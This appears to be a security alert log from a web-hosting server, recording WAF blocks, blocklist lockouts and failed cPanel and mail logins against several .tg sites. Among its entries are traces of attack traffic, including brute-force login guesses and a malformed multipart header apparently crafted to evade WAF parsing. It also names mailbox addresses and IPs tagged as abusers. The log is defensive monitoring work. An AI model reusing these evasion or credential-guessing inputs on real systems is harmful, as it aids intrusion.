Jun 12 00:57:48 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.65.214
country_id: 3469034
description:
Jun 12 00:57:21 ns5 auth[914371]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.65.214 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 79.117.162.206
country_id: 2510769
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:79.117.162.206||TA:79.117.162.206||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.192
country_id: 690791
description:
Jun 12 01:05:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.192
country_id: 690791
description:
Jun 12 01:05:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:06:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.213.112
country_id: 6252001
description:
[2026-06-12 01:08:14 +0000] info [cpaneld] 5.175.213.112 - abttogo "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:08:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.248
country_id: 6252001
description:
Jun 12 01:09:22 ns5 pure-ftpd[1113520]: (?@205.210.31.248) [INFO] New connection from 205.210.31.248


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:11:58 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 01:12:43 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 192.3.24.135
country_id: 6252001
domain: launetogo.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: Invalid Content-Disposition header (-14): form-data; name=\"result[_msg]\\\\\";filename=\";name=\"result[_msg]\".||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:17:51 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.65
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.45.89.75.65||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 190.185.108.202
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.190.185.108.202||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.246
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-20.193.32.155.246||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.32.153.184
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:193.32.153.184||TA:193.32.153.184||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.30
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.45.89.75.30||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.68.221
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.152.232.68.221||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.152.127
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.193.32.152.127||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.73.31
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-20.152.232.73.31||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.239.73
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.168.196.239.73||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.115.230.161
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.161.115.230.161||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 200.71.127.31
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.200.71.127.31||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 86.48.11.124
country_id: 1880251
domain: apisolde.chuso.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:yxhnfwxr||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.182
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.193.32.155.182||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.66.2
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.152.232.66.2||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.59.4.29
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-19.138.59.4.29||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:22:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:27:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:27:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.128.35
country_id: 732800
description:
Jun 12 01:30:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.128.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:31:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.89.216.207
country_id: 3469034
description:
Jun 12 01:32:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.89.216.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:33:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 12 01:34:52 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-12 01:35:13 +0000] info [cpaneld] 217.217.253.159 - netflix "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netflix (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.247.141
country_id: 933860
description:
Jun 12 01:35:16 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.247.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.76.247.141
country_id: 933860
description:
Jun 12 01:35:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.76.247.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:36:39 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:29656: 535 Incorrect authentication data (set_id=wp)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:36:37 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-12 01:37:41 +0000] info [cpaneld] 217.217.253.159 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.206.110.229
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:43:02 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:43:04 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:61376: 535 Incorrect authentication data (set_id=store.cart)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:42:57 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:43:56 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 12 01:43:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.214.140.160
country_id: 1819730
description:
103.214.140.160 - - [12/Jun/2026:01:48:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7444587&pdata=https%253A%252F%252Fwww.haplucia-togo.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781228915 HTTP/2.0" 302 0 www.haplucia-togo.tg "https://www.haplucia-togo.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.214.140.160


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.170
country_id: 1880251
description:
47.128.96.170 - - [12/Jun/2026:01:49:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6725524&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feleves-de-classe-de-passage%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781228944 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eleves-de-classe-de-passage/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.170


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:49:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:49:33 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:31496: 535 Incorrect authentication data (set_id=rabbit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 01:54:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 12 01:56:01 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-12 01:56:03 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:20245: 535 Incorrect authentication data (set_id=catalyst)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.234.221
country_id: 2661886
description:
2026-06-12 01:56:22 dovecot_plain authenticator failed for H=(59mhksqxln9bpohcj1e) [104.28.234.221]:46101: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.229.7.198
country_id: 2635167
description:
2026-06-12 01:57:14 dovecot_plain authenticator failed for H=(mail.tps.tg) [23.229.7.198]:52088: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.135.199.38
country_id: 1733045
description:
115.135.199.38 - - [12/Jun/2026:02:02:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868390&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F04%252F03%252Fsenat-ouverture-officielle-de-la-1ere-session-ordinaire-de-lannee-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781229756 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/04/03/senat-ouverture-officielle-de-la-1ere-session-ordinaire-de-lannee-2026/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.9749.1343 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.135.199.38


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:03:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:03:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [12/Jun/2026:02:04:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723481&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-carrefour-international-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781229891 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-carrefour-international-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:04:59 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.166.114
country_id: 1880251
description:
104.28.166.114 - - [12/Jun/2026:02:07:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015664&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230046 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/administration/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.166.114


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 42.194.226.88
country_id: 1814991
description:
42.194.226.88 - - [12/Jun/2026:02:07:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988720&pdata=https%253A%252F%252Fmesyscom.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230065 HTTP/2.0" 302 0 mesyscom.com "https://mesyscom.com/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Mobile Safari/537.36 MicroMessenger/7.0.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:42.194.226.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.95.197.80
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/38.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.20.45.201
country_id: 2017370
description:
185.20.45.201 - - [12/Jun/2026:02:11:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987782&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-333031letidm54x.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230277 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-333031letidm54x.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.20.45.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.96
country_id: 953987
description:
Jun 12 02:17:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.96
country_id: 953987
description:
Jun 12 02:17:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.201
country_id: 3469034
description:
Jun 12 02:19:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.201 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [12/Jun/2026:02:20:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7498600&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftogo-recrutement-elections%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781230852 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/togo-recrutement-elections/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.135.198.234
country_id: 1733045
description:
115.135.198.234 - - [12/Jun/2026:02:23:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249625&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-246139letid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781231034 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-246139letid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.135.198.234


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.236.0.73
country_id: 2635167
description:
Jun 12 02:25:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.236.0.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:32:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-06-12 02:37:22 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [103.90.27.83]:38162: 535 Incorrect authentication data (set_id=service@dany2.mairie.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.13
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.129
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.138
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.141
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 12 02:40:21 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.34.96
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.130
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.131
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.140
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.138
country_id: 6252001
domain: certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/certlogisticstogo.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.34.93
country_id: 6252001
domain: www.certlogisticstogo.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.certlogisticstogo.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:42:15 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:42:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 02:45:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 12 02:47:18 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.182.132.94
country_id: 2017370
description:
